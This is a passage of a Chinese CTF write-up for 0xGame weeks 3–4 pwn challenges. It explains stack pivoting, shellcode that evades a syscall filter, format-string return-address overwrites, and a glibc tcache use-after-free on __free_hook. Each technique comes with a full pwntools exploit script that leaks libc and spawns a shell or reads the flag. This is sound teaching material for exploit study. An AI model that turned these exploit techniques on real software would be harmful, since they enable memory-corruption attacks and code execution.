puts_addr = u64(p.recvuntil(b'\n', drop=True).ljust(0x8, b'\x00'))
libc_base_addr = puts_addr - libc.symbols['puts']

print('leak puts addr:', hex(puts_addr))
print('libc base addr:', hex(libc_base_addr))

system_addr = libc_base_addr + libc.symbols['system']
binsh_addr = libc_base_addr + next(libc.search(b'/bin/sh'))

payload = flat([
    b'a' * 0x28,
    pop_rdi_ret,
    binsh_addr,
    ret,
    system_addr
])

p.recvuntil(b'?\n')
p.sendline(payload)

p.interactive()

Week 3

where_is_my_stack

1
2
3
4
5
6
7
8
9
[*] '/home/ubuntu/Pwn/0xGame/week_3/where_is_my_stack/pwn'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
1
2
3
4
5
6
7
ssize_t vuln()
{
  _BYTE buf[32]; // [rsp+0h] [rbp-20h] BYREF

  puts("Every doll has her fixed place,but not stack ~");
  return read(0, buf, 0x30uLL);
}

栈溢出但是限制了溢出的长度, 只有 0x30 字节, 因此需要栈迁移 (Stack Pivoting)

栈迁移的原理就是利用 leave 和 ret 指令, 通过 rbp 修改 rsp 指针, 进而将栈转移到其它位置 (例如 data 段或 bss 段)

转移栈之后, 整个栈区的地址就是已知的, 后续构造 ROP 也会更加方便

第一种 exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import *
from time import sleep

context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'

# p = process('./pwn_patch')
p = remote('47.97.58.52', 43001)
libc = ELF('./libc.so.6')

buf = 0x405000 - 0x200 # 0x404e00

leave_ret = 0x401234
pop_rdi_ret = 0x4012c3

vuln_addr = 0x401211
call_read = 0x40122e

puts_plt = 0x401070
puts_got = 0x404018

payload_1 = flat([
    b'a' * 0x20,
    buf,
    vuln_addr
])

p.sendafter(b'~\n', payload_1)
sleep(0.1)

payload_2 = flat([
    b'b' * 0x20,
    buf + 40, 
    vuln_addr,
])

p.sendafter(b'~\n', payload_2)
sleep(0.1)

payload_3 = flat([
    pop_rdi_ret, # buf + 8, 为 read 返回地址 (猜测是没有 prolog, 没有 sub rsp, 0x20, 导致 stack 位置有点问题)
    puts_got,
    puts_plt,
    vuln_addr
])

p.sendafter(b'~\n', payload_3)
sleep(0.1)

puts_addr = u64(p.recvuntil('\n', drop=True).ljust(0x8, b'\x00'))
libc_base_addr = puts_addr - libc.symbols['puts']
system_addr = libc_base_addr + libc.symbols['system']
binsh_addr = libc_base_addr + next(libc.search(b'/bin/sh'))

print('leak puts addr:', hex(puts_addr))
print('libc base addr:', hex(libc_base_addr))
print('system addr:', hex(system_addr))
print('/bin/sh addr:', hex(binsh_addr))

payload_4 = flat([
    b'c' * 0x18, # (0x404e28 - 0x8) - (0x404e28 - 0x20) = 0x18, 原因同上, read 的返回地址实际上在 rbp 下面一个单元
    pop_rdi_ret,
    binsh_addr,
    system_addr
])

p.sendafter(b'~\n', payload_4)
sleep(0.1)

p.interactive()

先打两次 payload 进行栈迁移, 注意 buf 的地址是由 rbp 决定的, 因此第二个 payload 需要控制好 rbp 的位置

打第三次 payload 写 buf 的时候实际上写的是 buf + 8 的位置 (也就是第二次 payload ret 弹出 vuln_addr 之后 rsp 的位置), 然后由于一些奇怪的问题, 实际上栈溢出覆盖返回地址的时候直接就覆盖了 read 而不是 main 的返回地址, 后续就是泄露 puts GOT 然后继续返回 vuln_addr

最后打第四次 payload 执行 system, 这里需要用 gdb 手动调试一下 padding, 经过计算得到 padding 为 0x18 而不是前几次的 0x20

第二种 exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
from pwn import *
from time import sleep

context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'

# p = process('./pwn_patch')
p = remote('47.97.58.52', 43001)
libc = ELF('./libc.so.6')

buf = 0x405000 - 0x200 # 0x404e00

leave_ret = 0x401234
pop_rdi_ret = 0x4012c3
ret = 0x0401235

vuln_addr = 0x401211
call_read = 0x40122e
after_read = 0x401233

puts_plt = 0x401070
puts_got = 0x404018

payload_1 = flat([
    b'a' * 0x20,
    buf,
    vuln_addr
])

p.sendafter(b'~\n', payload_1)
sleep(0.1)

payload_2 = flat([
    b'b' * 0x20,
    buf + 40, 
    vuln_addr,
])

p.sendafter(b'~\n', payload_2)
sleep(0.1)

payload_3 = flat([
    pop_rdi_ret, # buf + 8, 为 read 返回地址 (猜测是没有 prolog, 没有 sub rsp, 0x20, 导致 stack 位置有点问题)
    puts_got,
    puts_plt,
    vuln_addr
])

p.sendafter(b'~\n', payload_3)
sleep(0.1)

puts_addr = u64(p.recvuntil('\n', drop=True).ljust(0x8, b'\x00'))
libc_base_addr = puts_addr - libc.symbols['puts']
system_addr = libc_base_addr + libc.symbols['system']
binsh_addr = libc_base_addr + next(libc.search(b'/bin/sh'))

print('leak puts addr:', hex(puts_addr))
print('libc base addr:', hex(libc_base_addr))
print('system addr:', hex(system_addr))
print('/bin/sh addr:', hex(binsh_addr))

payload_4 = flat([
    b'c' * 0x18, # 写在 buf + 8 的位置, 偏移 (0x404e28 - 0x8) - (0x404e28 - 0x20) = 0x18, 原因同上, read 的返回地址实际上在 rbp 下面一个单元
    after_read, # read ret addr
    buf, # vuln rbp addr
    vuln_addr # vuln ret addr
])

p.sendafter(b'~\n', payload_4)
sleep(0.1)

payload_5 = flat([
    b'd' * 0x20, # 这会 rbp 和 rsp 就不在挨着了, 所以偏移还是 0x20, 不会把 buf 的内容写在 read 的返回地址上
    buf + 40, 
    vuln_addr,
])

p.sendafter(b'~\n', payload_5)
sleep(0.1)

payload_6 = flat([
    pop_rdi_ret, # read ret addr
    binsh_addr,
    ret,
    system_addr
])

p.sendafter(b'~\n', payload_6)
sleep(0.1)

p.interactive()

跟第一种方法类似, 就是后续执行 system 的时候又是先打了两次 payload 进行栈迁移

Shellcode-lv2

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
int __fastcall main(int argc, const char **argv, const char **envp)
{
  int i; // [rsp+Ch] [rbp-14h]
  void *buf; // [rsp+10h] [rbp-10h]

  bufinit(argc, argv, envp);
  buf = mmap((void *)0x20240000, 0x1000uLL, 7, 34, -1, 0LL);
  printf("Show me what you want to run: ");
  read(0, buf, 0x10uLL);
  for ( i = 0; i <= 15; ++i )
  {
    if ( *((_BYTE *)buf + i) == 15 && *((_BYTE *)buf + i + 1) == 5 )
    {
      puts("Why are you making syscall?");
      exit(-1);
    }
  }
  puts("Well Im kinda lazy, so I'll randomly drop some work......");
  sleep(1u);
  puts("Again, no exec for you this time!");
  sleep(1u);
  puts("And, all you have are open/read/write.");
  sleep(1u);
  puts("Good luck!");
  sandbox();
  ((void (*)(void))buf)();
  return 0;
}

seccomp-tools dump

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
Good luck!
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x05 0xc000003e  if (A != ARCH_X86_64) goto 0007
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x03 0x00 0x40000000  if (A >= 0x40000000) goto 0007
 0004: 0x15 0x03 0x00 0x00000000  if (A == read) goto 0008
 0005: 0x15 0x02 0x00 0x00000001  if (A == write) goto 0008
 0006: 0x15 0x01 0x00 0x00000002  if (A == open) goto 0008
 0007: 0x06 0x00 0x00 0x00000000  return KILL
 0008: 0x06 0x00 0x00 0x7fff0000  return ALLOW

允许执行 shellcode, 但是 ban 了 syscall 指令和 exec 系列 syscall 调用, 只允许 open read write, 同时 buf 设置的很小, 只有 0x10 字节

这道题的思路是利用栈上和寄存器内已有的数据读取 flag

在执行 buf 内的 shellcode 时, buf 的地址被存入了 rdx, 值为 0x20240000

通过 0x20240000 可以再构造一次 read syscall, 读入 0x20240000 字节的数据至 buf, 然后传入 orw 的 shellcode

syscall 指令 \x0f\x05 被过滤可以使用修改 rip 的方式绕过, 例如如下的 mov 会将 rip 的第二个字节改成 \x05 (原来是 \x12)

首先 read shellcode 需要尽可能的精简, 例如下面使用的是 push pop 而不是 mov, 原因在于前者的长度更小

然后传入 orw shellcode 时需要在前面加上足够多的 nop, 使得程序能够滑行到 orw 的位置

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
from time import sleep

context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'

# p = process('./pwn')
p = remote('47.97.58.52', 43010)

# syscall '\x0f\x05'
# nop '\x90'

shellcode_1 = '''
push rdx
pop rsi
push 0
pop rdi
mov byte ptr [rip+1], 0x05
'''

p.sendafter(b'run: ', asm(shellcode_1) + b'\x0f\x12')
sleep(0.1)

shellcode_2 = b'\x90' * 0x20 + asm(shellcraft.open('/flag') + shellcraft.read(3, 'rsp', 0x100) + shellcraft.write(1, 'rsp', 0x100))
p.send(shellcode_2)

p.interactive()

fmt2orw

1
2
3
4
5
6
7
8
9
[*] '/home/ubuntu/Pwn/0xGame/week_3/fmt2orw/pwn'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

main

1
2
3
4
5
6
7
8
9
int __fastcall main(int argc, const char **argv, const char **envp)
{
  init(argc, argv, envp);
  mmap((void *)0x114514000LL, 0x1000uLL, 3, 34, -1, 0LL);
  seccomp();
  say();
  puts("Goodbye~");
  return 0;
}

say

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
int say()
{
  int result; // eax

  puts("This time, what do you want to teach her?");
  while ( 1 )
  {
    printf("Say something:");
    read(0, (void *)0x114514000LL, 0x200uLL);
    result = strcmp((const char *)0x114514000LL, "stop");
    if ( !result )
      break;
    puts("\nShanghai!");
    printf((const char *)0x114514000LL);
    puts("Shanghai!\n");
  }
  return result;
}

what

1
2
3
4
int what()
{
  return mprotect((void *)0x114514000LL, 0x1000uLL, 7);
}

程序用 mmap 申请了一段空间, 但是没有执行权限, 存在格式化字符串漏洞

what 函数会调用 mprotect 将 mmap 空间的权限修改为 rwx

思路是覆盖 say 和 main 的返回地址, 分别覆盖成 what 和 mmap 空间, 进而执行 shellcode

程序开启了 PIE, 因此需要先泄露栈上内容计算出 PIE 基址, 才能得到 what 函数的真实地址

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import *

context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'

# p = process('./pwn_patch')
p = remote('47.97.58.52', 43000)
e = ELF('./pwn_patch')

p.recvuntil(b':')
p.send(b'%7$p\x00')
p.recvuntil(b'!\n')

main_addr = int(p.recv(14), 16)
pie_base_addr = main_addr - 80 - e.symbols['main']
what_addr = pie_base_addr + e.symbols['what']

print('main addr + 80:', hex(main_addr))
print('pie base addr:', hex(pie_base_addr))
print('what addr:', hex(what_addr))

p.recvuntil(b':')
p.send(b'%11$p\x00')
p.recvuntil(b'!\n')

# 即构造一个指向 ret addr 的指针, 通过指针修改 ret addr
# 直接修改 ret addr 实际上是修改 code segment 的内容, 会引发 Segmentation Fault

stack_pointer_addr = int(p.recv(14), 16) # 在栈上拿到一指向栈上元素的指针
say_ret_stack_addr = stack_pointer_addr - 0x100 # 根据指针地址计算 ret addr 的 rsp 指针地址
what_ret_stack_addr = say_ret_stack_addr + 0x08

print('stack pointer addr:', hex(stack_pointer_addr))
print('say ret stack addr:', hex(say_ret_stack_addr))
print('main ret stack addr:', hex(what_ret_stack_addr))

payload_1 = b'%' + str(say_ret_stack_addr & 0xffff).encode() + b'c%11$hn\x00' # 将栈上元素修改为 ret addr stack 地址

p.recvuntil(b':')
p.send(payload_1)

payload_2 = b'%' + str(what_addr & 0xffff).encode() + b'c%39$hn\x00' # 通过栈上指向 ret addr 指针, 修改 ret addr 的内容

p.recvuntil(b':')
p.send(payload_2)

# 00 00 00 01 14 51 40 00
mmap_addr = 0x114514000 + 0x5 # skip stop \x00

for i in range(8):
    payload_a = b'%' + str((what_ret_stack_addr + i) & 0xffff).encode() + b'c%11$hn\x00'
    
    p.recvuntil(b':')
    p.send(payload_a)

    n = (mmap_addr >> i * 8) & 0xff

    if n == 0:
        payload_b = b'%39$hhn\x00' # 注意长度为 0 的情况, %0c 实际上会输出单个 char
    else:
        payload_b = b'%' + str(n).encode() + b'c%39$hhn\x00'
    
    p.recvuntil(b':')
    p.send(payload_b)

payload_3 = b'stop\x00' + asm(shellcraft.open('/flag') + shellcraft.read(3, 'rsp', 0x100) + shellcraft.write(1, 'rsp', 0x100))

p.recvuntil(b':')
p.send(payload_3)

p.interactive()

先通过 %7$p 泄露 main + 80 的地址

然后通过 %11$p 泄露栈上的一个指向栈上元素的指针

然后就可以通过 %n 对这个 0x7ffdb0d0ea78 指针解引用, 修改它指向的元素 (即 0x7ffdb0d1028e), 其实也就是通过指针间接修改了 0x7ffdb0d0ea78 栈上的元素, 将其修改成 main+80 所在的地址, 即 0x7ffdb0d0e978, 两者刚好相差 0x100

这样我们就得到了一个指向 main+80 的指针 (换了一张图)

然后再修改格式化字符串偏移 39 的位置, 也就是底下的那个指针, 间接修改 say 函数的返回地址

后续修改 main 函数的返回地址也是一样的方法

最后注意修改地址的时候需要跳过 shellcode 的前五个字符 stop\x00

Week 4

UAF

add

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
unsigned __int64 add()
{
  signed int v1; // [rsp+0h] [rbp-10h]
  int nbytes; // [rsp+4h] [rbp-Ch]
  size_t nbytes_4; // [rsp+8h] [rbp-8h]

  nbytes_4 = __readfsqword(0x28u);
  printf("Enter index: ");
  v1 = getint();
  if ( (unsigned int)v1 > 0x10 || *((_QWORD *)&ptrlist + v1) )
  {
    puts("Invalid index!");
  }
  else
  {
    printf("Enter size: ");
    nbytes = getint();
    if ( nbytes >= 0 )
    {
      *((_QWORD *)&ptrlist + v1) = malloc(nbytes);
      sizelist[v1] = nbytes;
      printf("Enter data: ");
      read(0, *((void **)&ptrlist + v1), (unsigned int)nbytes);
      puts("Done!");
    }
    else
    {
      puts("Invalid size!");
    }
  }
  return __readfsqword(0x28u) ^ nbytes_4;
}

show

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
unsigned __int64 show()
{
  signed int v1; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("Enter index: ");
  v1 = getint();
  if ( (unsigned int)v1 <= 0x10 && *((_QWORD *)&ptrlist + v1) )
    printf("Data: %s\n", *((const char **)&ptrlist + v1));
  else
    puts("Invalid index!");
  return __readfsqword(0x28u) ^ v2;
}

delete

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
unsigned __int64 delete()
{
  signed int v1; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("Enter index: ");
  v1 = getint();
  if ( (unsigned int)v1 <= 0x10 && *((_QWORD *)&ptrlist + v1) )
  {
    free(*((void **)&ptrlist + v1));
    puts("Done!");
  }
  else
  {
    puts("Invalid index!");
  }
  return __readfsqword(0x28u) ^ v2;
}

edit

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
unsigned __int64 edit()
{
  signed int v1; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("Enter index: ");
  v1 = getint();
  if ( (unsigned int)v1 <= 0x10 && *((_QWORD *)&ptrlist + v1) )
  {
    printf("Enter data: ");
    read(0, *((void **)&ptrlist + v1), (unsigned int)sizelist[v1]);
    puts("Done!");
  }
  else
  {
    puts("Invalid index!");
  }
  return __readfsqword(0x28u) ^ v2;
}

题目给了 libc, 通过 strings libc.so.6 | grep GLIBC 可以得知 glibc 版本为 2.3.1

_libc_malloc: https://elixir.bootlin.com/glibc/glibc-2.31/source/malloc/malloc.c#L3022

_int_malloc: https://elixir.bootlin.com/glibc/glibc-2.31/source/malloc/malloc.c#L3512

_int_free: https://elixir.bootlin.com/glibc/glibc-2.31/source/malloc/malloc.c#L4154

新版本 libc 加入了 tcache, free 过的前 7 个 chunk 优先放入 tcache, 然后再放入 fastbin 或 unsorted bin

感觉堆就算是同一道题可能也会有多个打法? 这里用的是 Tcache Attack 打 __free__hook

先通过 UAF 修改 tcache bin 内 chunk 的 fd 为某个地址, 然后两次 malloc 就能得到一个任意地址写, 写入 __free_hook 为 system 函数就可以实现 RCE

这里注意新版本 glibc 对 tcache count 进行了检测, 如果是只 free 一个 chunk 然后修改 fd 的话, 第二次 malloc 会拿不出来 (此时 count 为 0), 解决办法是先放入两个 chunk, 然后修改后一个 chunk 的 fd

https://elixir.bootlin.com/glibc/glibc-2.31/source/malloc/malloc.c#L3049

__free__hook 被调用时传入的参数是 chunk 指针, 因此可以提前申请一个 chunk 写入 /bin/sh 字符串

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
from pwn import *

context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'

p = process('./pwn_patch')
libc = ELF('./libc.so.6')

def add(idx, size, data):
    p.sendlineafter(b'>> ', b'1')
    p.sendlineafter(b'index: ', str(idx).encode())
    p.sendlineafter(b'size: ', str(size).encode())
    p.sendlineafter(b'data: ', data)

def delete(idx):
    p.sendlineafter(b'>> ', b'2')
    p.sendlineafter(b'index: ', str(idx).encode())

def display(idx):
    p.sendlineafter(b'>> ', b'3')
    p.sendlineafter(b'index: ', str(idx).encode())

def edit(idx, data):
    p.sendlineafter(b'>> ', b'4')
    p.sendlineafter(b'index: ', str(idx).encode())
    p.sendlineafter(b'data: ', data)

# 申请大于 fastbin 大小的 chunk
add(8, 0x100, b'data')

# 先填满 tcache
for i in range(7):
    add(i, 0x100, b'aaa')

for i in range(7):
    delete(i)

# 通过 unsorted bin fd/bk 指针泄露 libc 基址
delete(8)
display(8)

p.recvuntil(b'Data: ')
bins_addr = u64(p.recv(6).ljust(8, b'\x00'))

libc.address = bins_addr - 0x1ecbe0
system_addr = libc.symbols['system']
free_hook_addr = libc.symbols['__free_hook']

log.info(f'libc base addr: {hex(libc.address)}')
log.info(f'libc system addr: {hex(system_addr)}')
log.info(f'__free_hook addr: {hex(free_hook_addr)}')

# 申请两个 chunk 放入 tcache
add(9, 0x40, b'aaaa')
add(10, 0x40, b'bbbb')

delete(9)
delete(10)

# UAF 修改 tcache 表头 chunk 的 fd
edit(10, p64(free_hook_addr))

# 取出上面的表头 chunk (idx = 10), 此时 tcache 表头为 __free_hook 地址
add(11, 0x40, b'cccc')

#__free_hook 任意地址写
add(12, 0x40, p64(system_addr))

# 申请一个 chunk 用于存放 /bin/sh 字符串
add(13, 0x40, b'/bin/sh\x00')

# free 时触发 __free_hook, 传入的参数为 chunk 指针, 即上面的 /bin/sh 字符串
delete(13)

p.interactive()

__malloc_hook 被调用时传入的参数是申请 chunk 的字节数, 估计得用 one_gadget 打, 但是我试了下好像没成功

泄露 libc 地址需要用到 unsorted bin 的一个技巧, 当某个 chunk 被放入 unsorted bin 时, 其 fd 和 bk 都指向 malloc_state 的 bins[1]

而 bins 相对于 libc 基址的偏移是固定的, 这里为 0x1ecbe0, 用 gdb 调试一下就可以得到

当然还是得注意先把 tcache 放满, 这样后续的 chunk 才会被放入 unsorted bin

想试一下 Tcache Dup (Double Free) 能不能打, 然后发现这个 glibc 版本有点高, tcache chunk 的 bk 会写入 tcache 指针 (指向 tcache_perthread_struct) 作为 key, 以此来检测 Double Free

https://elixir.bootlin.com/glibc/glibc-2.31/source/malloc/malloc.c#L4193

0%